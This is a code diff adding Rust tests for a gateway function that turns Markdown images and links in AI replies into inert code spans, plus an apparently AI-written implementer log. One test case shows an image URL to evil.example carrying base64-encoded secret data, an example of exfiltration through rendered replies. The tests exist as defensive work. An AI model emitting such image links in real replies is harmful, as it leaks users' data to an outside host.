"z".repeat(10_000) + ); + assert_eq!( + answer_posts(&content, false), + [ + format!("```\n{}", "y".repeat(10_000)), + format!( + "{}\n````![i](https://e.example/a)````\n```", + "z".repeat(10_000) + ), + ] + ); +} + +#[test] +fn a_link_found_only_after_the_split_still_brings_the_notice() { + let content = format!( + "```\n{}\n{}\nhttps://e.example/a\n```", + "y".repeat(10_000), + "z".repeat(10_000) + ); + assert_eq!( + answer_posts(&content, true), + [ + format!("```\n{}", "y".repeat(10_000)), + format!( + "{}\n````https://e.example/a````\n```\n\n{NOTICE}", + "z".repeat(10_000) + ), + ] + ); +} + +#[test] +fn an_empty_answer_is_posted_as_before() { + assert_eq!(answer_posts(" \n", true), [EMPTY_ANSWER]); +} diff --git a/crates/gatewayd/tests/links.rs b/crates/gatewayd/tests/links.rs new file mode 100644 index 0000000..d088e31 --- /dev/null +++ b/crates/gatewayd/tests/links.rs @@ -0,0 +1,431 @@ +//! `links::disarm` on each form of image and link, clean and untrusted, and on code that must be +//! left as it is (M5b spec, section 9; the plan's review focus 4). Do not edit. + +use gatewayd::links::{NOTICE, disarm}; + +/// (case, input, clean reply, untrusted reply, whether the untrusted reply had a link disarmed). +type Case = (&'static str, &'static str, &'static str, &'static str, bool); + +const IMAGES: &[Case] = &[ + ( + "inline image", + "An image ![alt](https://e.example/x.png) here.", + "An image `![alt](https://e.example/x.png)` here.", + "An image `![alt](https://e.example/x.png)` here.", + false, + ), + ( + "image with a size", + "![alt](https://e.example/x.png =50x76)", + "`![alt](https://e.example/x.png =50x76)`", + "`![alt](https://e.example/x.png =50x76)`", + false, + ), + ( + "image with a width and a title", + "![alt](https://e.example/x.png =50 \"Hover\")", + "`![alt](https://e.example/x.png =50 \"Hover\")`", + "`![alt](https://e.example/x.png =50 \"Hover\")`", + false, + ), + ( + "reference image and its definition", + "![alt][logo]\n\n[logo]: https://e.example/l.png", + "`![alt][logo]`\n\n[logo]: https://e.example/l.png", + "`![alt][logo]`\n\n`[logo]: https://e.example/l.png`", + true, + ), + ( + "collapsed and shortcut reference images", + "![logo][] and ![logo]", + "`![logo][]` and `![logo]`", + "`![logo][]` and `![logo]`", + false, + ), + ( + "reference image with a space before its label", + "![alt] [logo] end", + "`![alt] [logo]` end", + "`![alt] [logo]` end", + false, + ), + ( + "data in an image URL (T37)", + "Done. ![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)", + "Done. `![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)`", + "Done. `![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)`", + false, + ), + ( + "image glued to text, non-ASCII too", + "A![x](https://e.example/a)B 字![图](https://e.example/b)字", + "A `![x](https://e.example/a)`B 字 `![图](https://e.example/b)`字", + "A `![x](https://e.example/a)`B 字 `![图](https://e.example/b)`字", + false, + ), + ( + "image alt over two lines", + "![a\nb](https://e.example/x)", + "`![a`\n`b](https://e.example/x)`", + "`![a`\n`b](https://e.example/x)`", + false, + ), + ( + "image alt with a pipe", + "![a|b](https://e.example/x)", + "`![a`| `b](https://e.example/x)`", + "`![a`| `b](https://e.example/x)`", + false, + ), + ( + "image inside a link", + "[![img](https://a.example/i.png)](https://b.example)", + "`[![img](https://a.example/i.png)](https://b.example)`", + "`[![img](https://a.example/i.png)](https://b.example)`", + true, + ), + ( + "image inside brackets that are no link", + "[![a](https://e.example/a)]", + "\\[ `![a](https://e.example/a)`]", + "\\[ `![a](https://e.example/a)`]", + false, + ), + ( + "no bracket closes the alt", + "![alt(https://e.example/x.png)", + "`![`alt(https://e.example/x.png)", + "`![`alt( `https://e.example/x.png`)", + true, + ), + ( + "escaped exclamation mark", + "\\![x](https://e.example/a)", + "\\![x](https://e.example/a)", + "\\! `[x](https://e.example/a)`", + true, + ), + ( + "escaped backslash, then an image", + "\\\\![x](https://e.example/a)", + "\\\\ `![x](https://e.example/a)`", + "\\\\ `![x](https://e.example/a)`", + false, + ), +]; + +const LINKS: &[Case] = &[ + ( + "plain URL, its full stop left out", + "See https://example.com/a.", + "See https://example.com/a.", + "See `https://example.com/a`.", + true, + ), + ( + "autolink", + "", + "", + "``", + true, + ), + ( + "email autolink", + "Write to .", + "Write to .", + "Write to ``.", + true, + ), + ( + "Markdown link with a title", + "[the docs](https://docs.example/p \"Title\")", + "[the docs](https://docs.example/p \"Title\")", + "`[the docs](https://docs.example/p \"Title\")`", + true, + ), + ( + "reference link and its definition", + "[docs][d]\n\n[d]: https://docs.example/p", + "[docs][d]\n\n[d]: https://docs.example/p", + "`[docs][d]`\n\n`[d]: https://docs.example/p`", + true, + ), + ( + "relative link", + "[home](/channels/town)", + "[home](/channels/town)", + "`[home](/channels/town)`", + true, + ), + ( + "www without a scheme", + "at www.example.com today", + "at www.example.com today", + "at `www.example.com` today", + true, + ), + ( + "domain and path without a scheme", + "example.org/path and example.org", + "example.org/path and example.org", + "`example.org/path` and example.org", + true, + ), + ( + "schemes without slashes", + "mailto:owner@example.com or tel:5551234", + "mailto:owner@example.com or tel:5551234", + "`mailto:owner@example.com` or `tel:5551234`", + true, + ), + ( + "prose with colons", + "Note: a ratio of 3:2 and key:value", + "Note: a ratio of 3:2 and key:value", + "Note: a ratio of 3:2 and `key:value`", + true, + ), + ( + "URL with parentheses, inside parentheses", + "(see https://en.example/wiki/Rust_(language))", + "(see https://en.example/wiki/Rust_(language))", + "(see `https://en.example/wiki/Rust_(language)`)", + true, + ), + ( + "URL up to a backtick", + "https://x.example/a`b", + "https://x.example/a`b", + "``https://x.example/a`` `b", + true, + ), + ( + "non-ASCII URL and text", + "Привет, мир: https://пример.рф/путь и всё.", + "Привет, мир: https://пример.рф/путь и всё.", + "Привет, мир: `https://пример.рф/путь` и всё.", + true, + ), + ( + "two links on a line", + "[a](https://a.example) or https://b.example/x?y=1", + "[a](https://a.example) or https://b.example/x?y=1", + "`[a](https://a.example)` or `https://b.example/x?y=1`", + true, + ), + ( + "angle brackets around a space are no autolink", + "", + "", + "", + true, + ), + ( + "a scheme inside a word is no URL", + "1http://x.example/p", + "1http://x.example/p", + "1http://x.example/p", + false, + ), + ( + "a last part of five letters is no domain", + "x.abcde/p and x.abcd/p", + "x.abcde/p and x.abcd/p", + "x.abcde/p and `x.abcd/p`", + true, + ), + ( + "www with digits", + "www2.example.com", + "www2.example.com", + "`www2.example.com`", + true, + ), + ( + "brackets and angle brackets that are no link", + "[not a link] and and a < b", + "[not a link] and and a < b", + "[not a link] and and a < b", + false, + ), + ( + "definition padded with spaces, ending in a backtick", + " [x]: https://e.example/`", + " [x]: https://e.example/`", + "`` [x]: https://e.example/``\\`", + true, + ), + ( + "a definition needs a label", + "[]: https://e.example/x", + "[]: https://e.example/x", + "[]: `https://e.example/x`", + true, + ), + ( + "a definition only at the start of a line", + "text [x]: https://e.example", + "text [x]: https://e.example", + "text [x]: `https://e.example`", + true, + ), +]; + +const CODE: &[Case] = &[ + ( + "code spans", + "Run `curl https://example.com/x` and `![a](https://e.example/b)` now.", + "Run `curl https://example.com/x` and `![a](https://e.example/b)` now.", + "Run `curl https://example.com/x` and `![a](https://e.example/b)` now.", + false, + ), + ( + "fenced block", + "Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.", + "Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.", + "Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.", + false, + ), + ( + "tilde fence, and a longer fence holding a shorter one", + "~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````", + "~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````", + "~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````", + false, + ), + ( + "span with a backtick inside", + "``a ` https://x.example`` and ``![i](https://e.example/a)``", + "``a ` https://x.example`` and ``![i](https://e.example/a)``", + "``a ` https://x.example`` and ``![i](https://e.example/a)``", + false, + ), + ( + "link text in code", + "[`code`](https://d.example)", + "[`code`](https://d.example)", + "``[``\\` ``code``\\` ``](https://d.example)``", + true, + ), + ( + "code in code, and a link beside it", + "`https://a.example` https://b.example", + "`https://a.example` https://b.example", + "`https://a.example` ``https://b.example``", + true, + ), +]; + +const TICKS: &[Case] = &[ + ( + "runs longer than any in the reply", + "``x`` then https://y.example and ![i](https://e.example/a)", + "``x`` then https://y.example and ```![i](https://e.example/a)```", + "``x`` then ```https://y.example``` and ```![i](https://e.example/a)```", + true, + ), + ( + "a fence counts", + "```\ncode\n```\nhttps://y.example", + "```\ncode\n```\nhttps://y.example", + "```\ncode\n```\n````https://y.example````", + true, + ), + ( + "backticks inside the image go between spans, escaped", + "![a`b](https://e.example/`q`)", + "``![a``\\` ``b](https://e.example/``\\` ``q``\\` ``)``", + "``![a``\\` ``b](https://e.example/``\\` ``q``\\` ``)``", + false, + ), + ( + "a backtick right after the image", + "x ![a](https://e.example/a)`y`", + "x ``![a](https://e.example/a)`` `y`", + "x ``![a](https://e.example/a)`` `y`", + false, + ), + ( + "a lone backtick right before the image", + "`![a](https://e.example/a)", + "` ``![a](https://e.example/a)``", + "` ``![a](https://e.example/a)``", + false, + ), +]; + +fn check(table: &[Case]) { + for &(case, input, clean, untrusted, links) in table { + let got = disarm(input, false); + assert_eq!(got.text, clean, "{case}: clean"); + assert!(!got.links, "{case}: a clean reply never has links disarmed"); + let got = disarm(input, true); + assert_eq!(got.text, untrusted, "{case}: untrusted"); + assert_eq!(got.links, links, "{case}: links"); + } +} + +#[test] +fn images_are_code_in_every_reply() { + check(IMAGES); +} + +#[test] +fn links_are_code_only_when_untrusted() { + check(LINKS); +} + +#[test] +fn code_is_left_as_it_is() { + check(CODE); +} + +#[test] +fn new_spans_use_a_longer_run_and_never_touch_a_backtick() { + check(TICKS); +} + +#[test] +fn disarming_twice_changes_nothing() { + for table in [IMAGES, LINKS, CODE, TICKS] { + for &(case, input, ..) in table { + for untrusted in [false, true] { + let once = disarm(input, untrusted).text; + let twice = disarm(&once, untrusted); + assert_eq!(twice.text, once, "{case}: untrusted {untrusted}"); + assert!( + !twice.links, + "{case}: untrusted {untrusted}: nothing left to disarm" + ); + } + } + } +} + +#[test] +fn text_without_images_or_links_is_unchanged() { + for text in [ + "", + "Plain words.", + "Ünïcödé, 日本語, emoji 🦀, and a tab\there.", + "Lines\n\nwith\r\nbreaks\rof\u{2424}every kind\n", + "A list:\n- one\n- two\n\n> a quote\n\n# A heading", + "Emphasis: *a*, **b**, _c_, ~~d~~ and a table:\n| a | b |\n|---|---|\n| 1 | 2 |", + "Paths: crates/gatewayd/src/links.rs, ../x.txt, C:\\temp and std::io", + ] { + for untrusted in [false, true] { + let got = disarm(text, untrusted); + assert_eq!(got.text, text, "untrusted {untrusted}"); + assert!(!got.links); + } + } +} + +#[test] +fn the_notice_is_one_line() { + assert_eq!( + NOTICE, + "Links in this reply are shown as code because this conversation has read untrusted content." + ); + assert!(!NOTICE.contains('\n')); +} diff --git a/crates/gatewayd/tests/links_marked.rs b/crates/gatewayd/tests/links_marked.rs new file mode 100644 index 0000000..0edfa5e --- /dev/null +++ b/crates/gatewayd/tests/links_marked.rs @@ -0,0 +1,363 @@ +//! `links::disarm` where the server's CommonMark parser and the clients' marked may read a reply +//! differently: such text is read as prose, so an image in it still goes in a code span (M5b +//! spec, section 9). Each case names the rule it pins. Do not edit. + +use gatewayd::links::disarm; + +/// (case, input, clean reply). The untrusted reply is checked by the tests in `links.rs`. +type Case = (&'static str, &'static str, &'static str); + +const FENCES: &[Case] = &[ + ( + "an unclosed fence is prose", + "```\n![i](https://e.example/a)", + "```\n````![i](https://e.example/a)````", + ), + ( + "a closer may end with tildes, and what follows is prose", + "```\n![i](https://e.example/a)\n```~\n![j](https://e.example/b)", + "```\n![i](https://e.example/a)\n```~\n````![j](https://e.example/b)````", + ), + ( + "a longer closer closes, a shorter one does not", + "```\n![i](https://e.example/a)\n````\n````\n```\n![j](https://e.example/b)\n````", + "```\n![i](https://e.example/a)\n````\n````\n```\n![j](https://e.example/b)\n````", + ), + ( + "an opener indented four spaces is prose", + " ```\n ![i](https://e.example/a)\n ```", + " ```\n ````![i](https://e.example/a)````\n ```", + ), + ( + "two backticks are no fence", + "``\n![i](https://e.example/a)\n``", + "``\n```![i](https://e.example/a)```\n``", + ), + ( + "a closer indented four spaces does not close", + "```\n![i](https://e.example/a)\n ```\n![j](https://e.example/b)\n```", + "```\n![i](https://e.example/a)\n ```\n![j](https://e.example/b)\n```", + ), + ( + "an opener indented three spaces is a fence", + " ```\n ![i](https://e.example/a)\n```", + " ```\n ![i](https://e.example/a)\n```", + ), + ( + "an opener with a pipe after it is prose", + "```|x\n![i](https://e.example/a)\n```", + "```|x\n````![i](https://e.example/a)````\n```", + ), + ( + "an opener with a backtick after it is prose", + "``` a`b\n![i](https://e.example/a)\n```", + "``` a`b\n````![i](https://e.example/a)````\n```", + ), + ( + "a fence continuing a list item is prose", + "- item\n```\n![i](https://e.example/a)\n```", + "- item\n```\n````![i](https://e.example/a)````\n```", + ), + ( + "a fence continuing a quote is prose", + "> quote\n```\n![i](https://e.example/a)\n```", + "> quote\n```\n````![i](https://e.example/a)````\n```", + ), + ( + "a fence continuing a numbered item is prose", + "1. item\n```\n![i](https://e.example/a)\n```", + "1. item\n```\n````![i](https://e.example/a)````\n```", + ), + ( + "a fence after an empty line below a list is a fence, even with an empty line inside", + "- item\n\n```\n![i](https://e.example/a)\n\nx\n```", + "- item\n\n```\n![i](https://e.example/a)\n\nx\n```", + ), + ( + "a line indented less than the opener ends it", + "- item\n\n ```\n![i](https://e.example/a)\n ```", + "- item\n\n ```\n````![i](https://e.example/a)````\n ```", + ), + ( + "an empty line inside an indented fence does not end it", + "- item\n\n ```\n one\n\n ![i](https://e.example/a)\n ```", + "- item\n\n ```\n one\n\n ![i](https://e.example/a)\n ```", + ), + ( + "a fence after an HTML tag is prose", + "
\n\n```\n![i](https://e.example/a)\n```\n\n
", + "
\n\n```\n````![i](https://e.example/a)````\n```\n\n
", + ), + ( + "a tag after a list marker counts", + "-
\n\n```\n![i](https://e.example/a)\n```", + "-
\n\n```\n````![i](https://e.example/a)````\n```", + ), + ( + "a tag inside a line does not", + "Use `Vec`:\n```\n![i](https://e.example/a)\n```", + "Use `Vec`:\n```\n![i](https://e.example/a)\n```", + ), + ( + "a closing tag counts", + "

\n```\n![i](https://e.example/a)\n```", + "

\n```\n````![i](https://e.example/a)````\n```", + ), + ( + "a tag after the fence does not matter", + "```\n![i](https://e.example/a)\n```\n
", + "```\n![i](https://e.example/a)\n```\n
", + ), + ( + "a tag inside a fence does not count", + "```\n
\n```\n```\n![i](https://e.example/a)\n```", + "```\n
\n```\n```\n![i](https://e.example/a)\n```", + ), +]; + +const LINES: &[Case] = &[ + ( + "a carriage return ends a line", + "```\r![i](https://e.example/a)\r```\rtext\r![j](https://e.example/b)", + "```\r![i](https://e.example/a)\r```\rtext\r````![j](https://e.example/b)````", + ), + ( + "U+2424 ends a line", + "```\u{2424}![i](https://e.example/a)\u{2424}```", + "```\u{2424}![i](https://e.example/a)\u{2424}```", + ), + ( + "CRLF is one line end, not an empty line", + "`a\r\n`![i](https://e.example/a)`", + "`a\r\n` ``![i](https://e.example/a)`` `", + ), + ( + "a line of spaces inside an alt is written as it is", + "![a\n \nb](https://e.example/x)", + "`![a`\n \n`b](https://e.example/x)`", + ), + ( + "an alt split by CRLF keeps it", + "![a\r\nb](https://e.example/x)", + "`![a`\r\n`b](https://e.example/x)`", + ), +]; + +const SPANS: &[Case] = &[ + ( + "a span on one line is code", + "a\n`![i](https://e.example/a)`", + "a\n`![i](https://e.example/a)`", + ), + ( + "after a lone backtick, a span of its length is prose", + "`a\n`![i](https://e.example/a)`", + "`a\n` ``![i](https://e.example/a)`` `", + ), + ( + "a span of another length is still code", + "`a\n``![i](https://e.example/a)``", + "`a\n``![i](https://e.example/a)``", + ), + ( + "a span holding a run of that length is prose", + "`lone\n``a ` ![i](https://e.example/a) ``", + "`lone\n``a ` ```![i](https://e.example/a)``` ``", + ), + ( + "an empty line starts afresh", + "`a\n\n`![i](https://e.example/a)`", + "`a\n\n`![i](https://e.example/a)`", + ), + ( + "a line of spaces does not", + "`a\n \n`![i](https://e.example/a)`", + "`a\n \n` ``![i](https://e.example/a)`` `", + ), + ( + "a span that does not close on its line is prose", + "`a\nb` ![i](https://e.example/a)", + "`a\nb` ``![i](https://e.example/a)``", + ), + ( + "a span holding a pipe is prose (a table cell ends there)", + "| `x | ![i](https://e.example/a) | y` |", + "| `x | ``![i](https://e.example/a)`` | y` |", + ), + ( + "an escaped backtick opens nothing", + "\\`![i](https://e.example/a)`", + "\\` ``![i](https://e.example/a)`` `", + ), + ( + "a backtick in a URL opens nothing (marked reads it as the URL's)", + "https://x.example/a`b ![i](https://e.example/a) `", + "https://x.example/a`b ``![i](https://e.example/a)`` `", + ), + ( + "a backtick in a link destination opens nothing", + "[a](x `) ![i](https://e.example/a) `", + "[a](x `) ``![i](https://e.example/a)`` `", + ), +]; + +const BRACKETS: &[Case] = &[ + ( + "a label holding a bracket in code", + "![a `]` b](https://e.example/a)", + "``![a ``\\` ``]``\\` `` b](https://e.example/a)``", + ), + ( + "a label holding a lone backtick", + "![a ``](https://e.example/a) `", + "```![a ```\\`\\` ```](https://e.example/a)``` `", + ), + ( + "nested brackets and escapes in the label", + "![a [b] \\] c](https://e.example/a)", + "`![a [b] \\] c](https://e.example/a)`", + ), + ( + "nested parentheses in the destination; a backslash does not escape one", + "![a](https://e.example/a_(b)\\)c) d", + "`![a](https://e.example/a_(b)\\)`c) d", + ), + ( + "no parenthesis closes the destination", + "![a](https://e.example/a b", + "`![a]`(https://e.example/a b", + ), +]; + +/// What marked lets take a backtick before a code span starts: emphasis, a tag, a URL, a link. +const STEALS: &[Case] = &[ + ( + "emphasis before a span that holds its closer makes it prose", + "** `** ![i](https://e.example/a) `", + "** `** ``![i](https://e.example/a)`` `", + ), + ( + "a tag before a span that holds a `>` makes it prose", + " ![i](https://e.example/a) `", + " ``![i](https://e.example/a)`` `", + ), + ( + "a `[` that starts no link is escaped when a `](` follows", + "[x [y](https://l.example) and [z]", + "\\[x [y](https://l.example) and [z]", + ), + ( + "the characters of a clean link count as seen", + "[a*b](https://l.example) `*![i](https://e.example/a)`", + "[a*b](https://l.example) `* ``![i](https://e.example/a)`` `", + ), + ( + "inline LaTeX before a span that holds a `$` makes it prose", + "$a `$ ![i](https://e.example/a) `", + "$a `$ ``![i](https://e.example/a)`` `", + ), + ( + "a new span splits at a `$` seen before it, which marked does not escape", + "$x ![i](https://e.example/a$b)", + "$x `![i](https://e.example/a`$ `b)`", + ), + ( + "but not at a `$` seen only after it", + "![i](https://e.example/a$b) $x", + "`![i](https://e.example/a$b)` $x", + ), + ( + "a new span splits at a closer seen before it", + "*a* ![i](https://e.example/b*c)", + "*a* `![i](https://e.example/b`\\* `c)`", + ), + ( + "but not at one seen only after it", + "![i](https://e.example/b*c) *a*", + "`![i](https://e.example/b*c)` *a*", + ), + ( + "marked may read part of a run into a clean URL", + "www.x.example/p```)`![i](https://e.example/a)`", + "www.x.example/p```)` ````![i](https://e.example/a)```` `", + ), + ( + "a clean URL ends at a `<` before a line end, which may start an autolink", + "e.org/p<\ne.org/p![i](https://e.example/x)", + "e.org/p<\ne.org/p `![i](https://e.example/x)`", + ), + ( + "a clean URL holding an image goes in code whole", + "https://x.example/![i](https://e.example/a) end", + "`https://x.example/![i](https://e.example/a)` end", + ), +]; + +fn check(table: &[Case]) { + for &(case, input, clean) in table { + let once = disarm(input, false); + assert_eq!(once.text, clean, "{case}"); + assert_eq!(disarm(clean, false).text, clean, "{case}: twice"); + } +} + +#[test] +fn fences_both_parsers_read_as_code() { + check(FENCES); +} + +#[test] +fn lines_end_where_marked_ends_them() { + check(LINES); +} + +#[test] +fn spans_both_parsers_read_as_code() { + check(SPANS); +} + +#[test] +fn labels_and_destinations_end_where_either_parser_ends_them() { + check(BRACKETS); +} + +#[test] +fn what_marked_lets_take_a_backtick_leaves_no_image() { + check(STEALS); +} + +#[test] +fn a_construct_is_looked_for_in_its_first_2048_characters() { + // From its `[` to its `)`: 2048 characters, found whole. + let image = |alt: usize| format!("![{}](https://e.example/x)", "a".repeat(alt)); + assert_eq!( + disarm(&image(2025), false).text, + format!("`{}`", image(2025)) + ); + // One more, and the `)` is out of reach: the image is read as `![alt]`. + let alt = "a".repeat(2026); + let got = disarm(&image(2026), false).text; + assert_eq!(got, format!("`![{alt}]`(https://e.example/x)")); + // With the `]` out of reach too, only the `![` goes in code; in an untrusted reply, the URL + // as well. + let alt = "a".repeat(2047); + let got = disarm(&image(2047), false).text; + assert_eq!(got, format!("`![`{alt}](https://e.example/x)")); + let got = disarm(&image(2047), true).text; + assert_eq!(got, format!("`![`{alt}]( `https://e.example/x`)")); + // A link out of reach keeps only its URL in code. + let got = disarm(&format!("[{alt}](https://l.example/x)"), true); + assert_eq!(got.text, format!("[{alt}]( `https://l.example/x`)")); + assert!(got.links); +} + +#[test] +fn an_untrusted_reply_follows_the_same_rules() { + let text = "- item\n```\nhttps://e.example/a\n```\n\n```\nhttps://e.example/b\n```"; + let got = disarm(text, true); + assert_eq!( + got.text, + "- item\n```\n````https://e.example/a````\n```\n\n```\nhttps://e.example/b\n```" + ); + assert!(got.links); +} diff --git a/docs/implementer-log.md b/docs/implementer-log.md index 86b0486..110aa4c 100644 --- a/docs/implementer-log.md +++ b/docs/implementer-log.md @@ -6,6 +6,7 @@ reviewer adds findings under "Reviews" once per milestone. | Task | Date | Status | Gate runs | First gate | Deviations | Notes | Model | |---|---|---|---|---|---|---|---| +| M5b/10-gatewayd-links | 2026-09-27 | done | 1 | pass | none | Copied the two skeletons `crates/gatewayd/src/links/mod.rs` (fill 7 functions) and `crates/gatewayd/src/links/inline.rs` (fill 9) and the tests `crates/gatewayd/tests/links.rs`, `links_marked.rs`, `deliver_links.rs` from `docs/plans/M5b/files/`. Filled the nine inline functions in the given order from each comment: `autolink_len`, `definition`, `url_len` (walk `rest.get(..end)` for the trailing run), `construct_len` (reference path was off by one — `reference_end`/`paren_end` return the closing-char index, so the label path needs `label_end + 2` to go through the `]`, matching the paren path), `bracket_end` (count `[`/`]` with backslash skip and code-span run jump), and the five that follow. Filled the seven mod functions (`wrap`, `text`, `code` and the rest of the `Out` type). Fixed the one filled helper the task flagged (`Out::wrap`): after a `\r\n` the `\n` was written a second time, so consume it in `wrap`'s BREAKS arm. `cargo fmt --all`; `cargo check -p gatewayd` clean; every gatewayd suite passes (`links` 7, `links_marked` 7, `deliver_links` 9). First `make gate` run failed on six clippy warnings denied by `-D warnings`, all inside `todo!()` bodies (allowed to edit): a collapsible `if { if let }` in `construct_len`, a `match { Some => c, None => return None }` replaced with `?` in `bracket_end`, a `while let` loop in `url_len`, a manual assign in `bracket_end`, and two needless borrows `self.code(&construct...)` in `Out::wrap`; fixed each. `make gate` printed `gate: ok` with 1081 tests (1058 before this task, plus 7 in `links.rs`, 7 in `links_marked.rs` and 9 in `deliver_links.rs`). `git diff HEAD~1 --stat` lists only the allowed files. No new dependency, so `Cargo.lock` is unchanged. | ornith-1.5-35b-a3b | | M5b/09-turn-done-untrusted | 2026-09-26 | done | 1 | pass | none | Copied the eight given files from `docs/plans/M5b/files/`: `bxcore/tests/fixtures/wire/turn_done_untrusted.json` (new) and `loopd/tests/turn_done_untrusted.rs` (new), new versions of `bxcore/tests/fixtures/wire/turn_done.json`, `bxcore/tests/turn_wire.rs`, `brokerd/tests/broker.rs`, `bxctl/tests/chat.rs` and `bxctl/tests/support/mod.rs`, and `gatewayd/tests/support/fake_loop.rs` (did not open them). Step 2 showed exactly the named failures: `strict::envelopes_reject_unknown_keys_at_every_depth` failing on `turn_done.json: fixture must decode`, and 13 non-compiling test targets (`turn_wire` in bxcore, `broker` in brokerd, `turn_done_untrusted` in loopd, `admin`/`chat`/`chat_approvals` in bxctl, `deliver`/`deliver_notice`/`serve`/`serve_answers`/`serve_approvals`/`serve_redirect`/`serve_restart` in gatewayd) with E0560 and one E0609. Made the three edits exactly as the task gives: W1 `TurnDone` gains `untrusted: bool` as the last field with the no-default comment in `bxcore/src/wire.rs`; S1 `Session::untrusted` scanning `self.records` for a `LogRecord::ToolResult { untrusted: true, .. }` placed before `last_usage` in `session.rs`; C1 `session.untrusted()` put in the `TurnDone` in `channel.rs` `handle` after `usage`. `cargo fmt --all`; `cargo check -p loopd` clean; the seven `turn_wire` tests and six `turn_done_untrusted` tests pass, and every suite in `bxcore`, `loopd`, `brokerd`, `bxctl` and `gatewayd` passes. `git diff --stat -- crates/gatewayd/src crates/bxctl/src crates/brokerd/src` prints nothing, and the only `serde(default)` in `wire.rs` is line 109, the `Denied` detail added by task 01. `make gate` printed `gate: ok` with 1058 tests (1050 before this task, plus the 8 new: two in `turn_wire.rs`, six in `turn_done_untrusted.rs`). No new dependency, so `Cargo.lock` is unchanged. | ornith-1.5-35b-a3b | | M5b/08-loopd-selftest-tags | 2026-09-26 | done | 2 | pass | none | Copied the five given test files from `docs/plans/M5b/files/`: `selftest_tags.rs` (new) and new versions of `selftest.rs`, `serve.rs`, `pointers.rs` and `support/mod.rs` (did not open them). Step 2 showed exactly the four named failures (`selftest`: three steps without `"tags tokenize as recorded"`; `a_completion_without_the_tool_call_fails_the_tool_call_check` left 2 right 3; `a_cold_second_turn_fails_the_cache_check` left 3 right 4; `serve_runs_the_self_test_then_binds_the_socket_with_mode_0600` left 0 right 66) and `selftest_tags.rs` failing to compile with 7 E0599s (no `TagNotOneToken`/`TagOtherId`/`NeutralisedTooFew`/`Tokenize` variant, no `pointer`). Appended `runbook-loopd-tags-unexpected.md`; `check-runbook.sh` printed nothing and exited 0, `grep -c '^## loopd-tags-unexpected$'` printed 1. Made the edits in order: I1 the private `TokenIds` struct before `CacheOutcome` and I2 the `pub token_ids` method after `tokenize` (left `tokenize` itself unchanged); S1 the `use bxcore::sanitize::{TAGS, Tag, neutralise}` import, S2 the four tag variants plus `SelfTestError::pointer` with each pointer written whole, S3 the four Display arms, S4 the second check `tags tokenize as recorded`, S5 the `tags_tokenize` and `check_tag` functions, S6 check 3 to check 4; M1 `e.pointer()` in `run_selftest_check`. `cargo fmt --all`; `cargo check -p loopd` clean; `selftest_tags` 8, `selftest` 6, `serve` 3, `pointers` 7 passed, every `loopd` suite passes. `grep -rn 'runbook.md#loopd-' crates/loopd/src` prints exactly two lines, both in `selftest.rs`. `make gate` printed `gate: ok` with 1050 tests (1042 before this task, plus the 8 in `selftest_tags.rs`). No new dependency, so `Cargo.lock` is unchanged. | ornith-1.5-35b-a3b | | M5b/07-loopd-neutralise | 2026-09-26 | done | 2 | fail | none | Copied the three given tests from `docs/plans/M5b/files/`: `neutralise.rs`, `neutralise_replay.rs` and `support/tags.rs` (did not open them). Step 2 showed exactly the seven named failures (all six in `neutralise`, `the_memory_block_is_neutralised_when_the_baseline_is_assembled` in `neutralise_replay`); the two that should pass passed. Made the edits in order: T1 the module comment, T2 the `use bxcore::sanitize::neutralise` import, T3 `content: neutralise(content).into_owned()` on the `LogRecord::User`, T4 the capped-then-neutralised `let text = neutralise(&text).into_owned()` on the `LogRecord::ToolResult`; B1 the import, B2 the `assemble_with` comment, B3 `neutralise(memory.trim())` with `&memory` pushed. `cargo fmt --all`; `cargo check -p loopd` clean; `neutralise` 6 passed, `neutralise_replay` 3 passed, every `loopd` suite passes. `grep -rn 'neutralise(' crates/loopd/src` prints exactly three lines (two in `turn.rs`, one in `baseline.rs`). First `make gate` run failed on a flaky brokerd concurrency test, `a_torn_tail_is_recovered_and_it_serves` (one fail out of the serve suite under full-workspace load); it passes 3/3 in isolation and the serve suite 9/9 three times on the same tree, and the loopd edits touch no brokerd path, so it is a timing flake, not this task. Re-ran `make gate`: `gate: ok` with 1042 tests. No new dependency, so `Cargo.lock` is unchanged. | ornith-1.5-35b-a3b |